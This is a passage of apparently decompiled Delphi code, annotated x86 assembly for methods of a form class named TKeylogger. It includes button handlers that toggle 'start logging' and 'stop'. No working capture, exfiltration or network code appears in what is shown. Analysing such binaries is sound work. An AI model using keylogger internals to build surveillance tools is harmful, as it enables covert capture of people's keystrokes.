  638. 004CB973   8B433C                 mov     eax, [ebx+$3C]
  639. 004CB976   83E81C                 sub     eax, +$1C
  640. 004CB979   50                     push    eax
  641. 004CB97A   8D442404               lea     eax, [esp+$04]
  642. 004CB97E   50                     push    eax
  643. 004CB97F   8B4B38                 mov     ecx, [ebx+$38]
  644. 004CB982   83E908                 sub     ecx, +$08
  645. 004CB985   BA18000000             mov     edx, $00000018
  646. 004CB98A   B804000000             mov     eax, $00000004
  647. 004CB98F   E8AC4FF4FF             call    00410940
  648. 004CB994   54                     push    esp
  649. 004CB995   8BC3                   mov     eax, ebx
  650. 004CB997   E8641BF8FF             call    0044D500
  651. 004CB99C   5A                     pop     edx
  652. 004CB99D   E85A28F5FF             call    0041E1FC
  653. 004CB9A2   83C420                 add     esp, +$20
  654. 004CB9A5   5D                     pop     ebp
  655. 004CB9A6   5F                     pop     edi
  656. 004CB9A7   5E                     pop     esi
  657. 004CB9A8   5B                     pop     ebx
  658. 004CB9A9   C3                     ret
  661. }
  662.  end ; 
  664. procedure TKeylogger.FormResize(Sender: TObject);
  665. begin
  666. {
  667. 004CB9AC   8B10                   mov     edx, [eax]
  668. 004CB9AE   FF5278                 call    dword ptr [edx+$78]
  669. 004CB9B1   C3                     ret
  672. }
  673.  end ; 
  675. procedure TKeylogger.OutlookBtn1Click(Sender: TObject);
  676. begin
  677. {
  678. 004CB5C8   53                     push    ebx
  679. 004CB5C9   8BD8                   mov     ebx, eax
  680. 004CB5CB   8B83D4020000           mov     eax, [ebx+$02D4]
  681. 004CB5D1   8B8034010000           mov     eax, [eax+$0134]
  683. * Possible String Reference to: "start logging"
  684. |
  685. 004CB5D7   BA28B64C00             mov     edx, $004CB628
  686. 004CB5DC   E8078AF3FF             call    00403FE8
  687. 004CB5E1   751E                   jnz     004CB601
  688. 004CB5E3   A1DC495400             mov     eax, dword ptr [$5449DC]
  689. 004CB5E8   8B00                   mov     eax, [eax]
  690. 004CB5EA   E8798E0500             call    00524468
  692. * Possible String Reference to: "stop"
  693. |
  694. 004CB5EF   BA40B64C00             mov     edx, $004CB640
  695. 004CB5F4   8B83D4020000           mov     eax, [ebx+$02D4]
  696. 004CB5FA   E88D180400             call    0050CE8C
  697. 004CB5FF   5B                     pop     ebx
  698. 004CB600   C3                     ret
  700. 004CB601   A1DC495400             mov     eax, dword ptr [$5449DC]
  701. 004CB606   8B00                   mov     eax, [eax]
  702. 004CB608   E8838F0500             call    00524590
  704. * Possible String Reference to: "start logging"
  705. |
  706. 004CB60D   BA28B64C00             mov     edx, $004CB628
  707. 004CB612   8B83D4020000           mov     eax, [ebx+$02D4]
  708. 004CB618   E86F180400             call    0050CE8C
  709. 004CB61D   5B                     pop     ebx
  710. 004CB61E   C3                     ret
  713. }
  714.  end ; 
  716. procedure TKeylogger.OutlookBtn2Click(Sender: TObject);
  717. begin
  718. {
  719. 004CB564   55                     push    ebp
  720. 004CB565   8BEC                   mov     ebp, esp
  721. 004CB567   6A00                   push    $00
  722. 004CB569   53                     push    ebx
  723. 004CB56A   8BD8                   mov     ebx, eax
  724. 004CB56C   33C0                   xor     eax, eax
  725. 004CB56E   55                     push    ebp
  726. 004CB56F   68BDB54C00             push    $004CB5BD
  728. ***** TRY
  729. |
  730. 004CB574   64FF30                 push    dword ptr fs:[eax]
  731. 004CB577   648920                 mov     fs:[eax], esp
  732. 004CB57A   8B83E0020000           mov     eax, [ebx+$02E0]
  733. 004CB580   8B10                   mov     edx, [eax]
  734. 004CB582   FF523C                 call    dword ptr [edx+$3C]
  735. 004CB585   8D55FC                 lea     edx, [ebp-$04]
  736. 004CB588   8B83E0020000           mov     eax, [ebx+$02E0]
  737. 004CB58E   E8DDC9F8FF             call    00457F70
  738. 004CB593   8B55FC                 mov     edx, [ebp-$04]
  739. 004CB596   8B83CC020000           mov     eax, [ebx+$02CC]
  740. 004CB59C   8B8004020000           mov     eax, [eax+$0204]
  741. 004CB5A2   8B08                   mov     ecx, [eax]
  742. 004CB5A4   FF5164                 call    dword ptr [ecx+$64]
  743. 004CB5A7   33C0                   xor     eax, eax
  744. 004CB5A9   5A                     pop     edx
  745. 004CB5AA   59                     pop     ecx
  746. 004CB5AB   59                     pop     ecx
  747. 004CB5AC   648910                 mov     fs:[eax], edx
  749. ****** FINALLY
  750. |
  751. 004CB5AF   68C4B54C00             push    $004CB5C4
  752. 004CB5B4   8D45FC                 lea     eax, [ebp-$04]
  753. 004CB5B7   E8A086F3FF             call    00403C5C
  754. 004CB5BC   C3                     ret
  756. 004CB5BD   E99E80F3FF             jmp     00403660
  757. 004CB5C2   EBF0                   jmp     004CB5B4
  759. ****** END
  760. |
  761. 004CB5C4   5B                     pop     ebx
  762. 004CB5C5   59                     pop     ecx
  763. 004CB5C6   5D                     pop     ebp
  764. 004CB5C7   C3                     ret
  767. }
  768.  end ; 
  770. procedure TKeylogger.OutlookBtn3Click(Sender: TObject);
  771. begin
  772. {
  773. 004CB550   8B80CC020000           mov     eax, [eax+$02CC]
  774. 004CB556   8B8004020000           mov     eax, [eax+$0204]
  775. 004CB55C   8B10                   mov     edx, [eax]
  776. 004CB55E   FF5240                 call    dword ptr [edx+$40]
  777. 004CB561   C3                     ret
  780. }
  781.  end ; 
  783. end.